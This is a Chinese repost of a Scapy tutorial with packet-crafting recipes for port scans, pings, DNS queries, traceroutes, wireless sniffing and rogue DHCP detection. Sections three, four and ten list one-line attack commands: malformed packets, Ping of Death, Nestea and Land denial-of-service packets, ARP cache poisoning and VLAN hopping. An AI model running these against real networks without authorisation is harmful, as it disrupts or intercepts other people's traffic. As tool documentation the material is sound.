SCAPY官方教程五

发布时间:2022-08-18 18:56

一、简单的one-liners

ACK Scan

使用 Scapy 强大的数据包制作工具,我们可以快速复制经典的 TCP 扫描。例如,将发送以下字符串来模拟 ACK 扫描:

>>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

我们可以在应答的数据包中找到未过滤的端口:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print("%d is unfiltered" % s[TCP].dport)

同样,过滤后的端口可以在未应答的数据包中找到:

>>> for s in unans:
...     print("%d is filtered" % s[TCP].dport)

Xmas Scan

可以使用以下命令启动 Xmas Scan:

>>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

检查 RST 响应将显示目标上的关闭端口。

IP Scan

较低级别的 IP 扫描可用于枚举支持的协议:

>>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

在本地以太网上发现主机的最快方法是使用 ARP Ping 方法:

>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

可以使用以下命令查看答案:

>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy 还包括一个内置的 arping() 函数,其执行类似于上述两个命令:

>>> arping("192.168.1.0/24")

ICMP Ping

可以使用以下命令模拟经典 ICMP Ping:

>>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)

可以通过以下请求收集有关实时主机的信息:

>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )

TCP Ping

在 ICMP 回显请求被阻塞的情况下,我们仍然可以使用各种 TCP Ping,例如下面的 TCP SYN Ping:

>>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )

对我们的探测的任何响应都将指示一个活动主机。我们可以使用以下命令收集结果:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

UDP Ping

如果所有其他方法都失败了,总会有 UDP Ping 会从活动主机产生 ICMP 端口不可达错误。在这里您可以选择最有可能关闭的任何端口,例如端口 0:

>>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

再次,可以使用以下命令收集结果:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

二、DNS请求

IPv4 (A) 请求:

这将执行一个寻找 IPv4 地址的 DNS 请求

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))
>>> ans.an.rdata
'217.25.178.5'

SOA 请求:

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA")))
>>> ans.ns.mname
b'dns.ovh.net.'
>>> ans.ns.rname
b'tech.ovh.net.'

MX 请求:

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX")))
>>> results = [x.exchange for x in ans.an.iterpayloads()]
>>> results
[b'alt1.aspmx.l.google.com.',
 b'alt4.aspmx.l.google.com.',
 b'aspmx.l.google.com.',
 b'alt2.aspmx.l.google.com.',
 b'alt3.aspmx.l.google.com.']

三、典型攻击

畸形数据包:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

死亡之音(Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

雀巢攻击:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

陆地攻击(专为 Microsoft Windows 设计):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

四、ARP缓存中毒

此攻击通过 VLAN 跳跃攻击毒化其 ARP 缓存来防止客户端加入网关。

经典的 ARP 缓存中毒:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

双重 802.1q 封装的 ARP 缓存中毒:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

五、TCP 端口扫描

在每个端口上发送一个 TCP SYN。等待 SYN-ACK 或 RST 或 ICMP 错误:

>>> res, unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )

可能的结果可视化:开放端口

>>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

六、IKE 扫描

我们尝试通过发送 ISAKMP 安全协会提案并接收答案来识别 VPN 集中器:

>>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
                /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
              )

在列表中可视化结果:

>>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )

七、高级跟踪路由

TCP SYN 跟踪路由

>>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

结果将是:

>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1     time-exceeded
68.86.90.162    time-exceeded
4.79.43.134     time-exceeded
4.79.43.133     time-exceeded
4.68.18.126     time-exceeded
4.68.123.38     time-exceeded
4.2.2.1         SA

UDP 跟踪路由

像我们使用 TCP 一样跟踪 UDP 应用程序是不可靠的,因为没有握手。我们需要给出一个应用有效载荷(DNS、ISAKMP、NTP 等)才能得到答案:

>>> res, unans = sr(IP(dst="target", ttl=(1,20))
              /UDP()/DNS(qd=DNSQR(qname="test.com"))

我们可以将结果可视化为路由器列表:

>>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))

DNS 跟踪路由

我们可以通过在函数参数中指定一个完整的数据包来执行 DNS 跟踪路由traceroute()

>>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
   4.2.2.1:udp53
1  192.168.1.1     11
4  68.86.90.162    11
5  4.79.43.134     11
6  4.79.43.133     11
7  4.68.18.62      11
8  4.68.123.6      11
9  4.2.2.1
...

八、Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
>>

九、ICMP leaking

这是一个 Linux 2.0 错误:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
>>>>

十、Vlan 跳跃

在非常特殊的情况下,双重 802.1q 封装会使数据包跳转到另一个 VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

十一、无线嗅探

以下命令将显示类似于大多数无线嗅探器的信息:

sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))

在 Windows 和 OSX 上,您还需要使用monitor=True,它仅适用于 scapy>2.4.0 (2.4.0dev+)。这可能需要您手动切换监视器模式。

上面的命令将产生类似于下面的输出:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble

十二、简单的 ARP 监视器

该程序使用sniff()回调(参数 prn)。store 参数设置为 0,这样sniff()函数就不会存储任何东西(否则它会这样做),因此可以永远运行。filter 参数用于在高负载下获得更好的性能:过滤器应用于内核内部,Scapy 只会看到 ARP 流量。

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

十三、识别 LAN 上的恶意 DHCP 服务器

您怀疑有人在您的 LAN 上安装了一个额外的、未经授权的 DHCP 服务器——无论是无意的还是恶意的。因此,您要检查任何活动的 DHCP 服务器并识别它们的 IP 和 MAC 地址。

使用 Scapy 发送 DHCP 发现请求并分析回复:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

在这种情况下,我们收到了 2 个回复,因此测试网络上有两个活动的 DHCP 服务器:

>>> ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP

我们只对回复的 MAC 和 IP 地址感兴趣:

>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

我们指定multi=True让 Scapy 在收到第一个响应后等待更多的响应数据包。这也是为什么我们不能使用更方便的dhcp_request()功能而不得不手动构造DHCP数据包的原因:dhcp_request()用于srp1()发送和接收,因此会在第一个应答数据包后立即返回。

此外,Scapy 通常会确保回复来自发送刺激的同一 IP 地址。但是我们的 DHCP 数据包被发送到 IP 广播地址(255.255.255.255),任何应答数据包都将以回复的 DHCP 服务器的 IP 地址作为其源 IP 地址(例如 192.168.1.1)。因为这些 IP 地址不匹配,我们必须在发送刺激之前禁用 Scapy 的检查。

conf.checkIPaddr = False

详情参考:

http://en.wikipedia.org/wiki/Rogue_DHCP

十四、过滤操作

特殊案例

过滤操作后的 TTL 递减仅未过滤的数据包生成 ICMP TTL 超出

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport

在多 NIC 防火墙上查找子网,只有他自己的 NIC 的 IP 可以通过此 TTL 访问:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP 时间戳过滤

许多防火墙包含一个规则来丢弃没有设置 TCP 时间戳选项的 TCP 数据包,这在流行的端口扫描程序中很常见。

要允许 Scapy 到达目标目的地,必须使用其他选项:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

十五、使用 Wireshark 查看数据包

您已经使用 Scapy 生成或嗅探了一些数据包。

现在您想使用Wireshark查看它们,因为它具有高级数据包解析功能。

这wireshark()就是为了!

# First, generate some packets...
packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP()

# Show them with Wireshark
wireshark(packets)

Wireshark 将在后台启动,并显示您的数据包。

wireshark ( pktlist , ... )

使用Packetor PacketList,序列化您的数据包,并将其流式传输到 Wireshark中,stdin就好像它是一个捕获设备一样。

因为这使用pcap格式来序列化数据包,所以有一些限制:

  • 数据包必须全部相同linktype

    例如,您不能在顶层混合Ether和。IP

  • 数据包必须DLT_*为 linktype. 不支持linktype的被替换为DLT_EN10MB (以太网),并且在 Wireshark 中显示不正确。

    例如,不能传递裸ICMP数据包,但您可以将其作为一个IPIPv6数据包的有效负载发送。

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号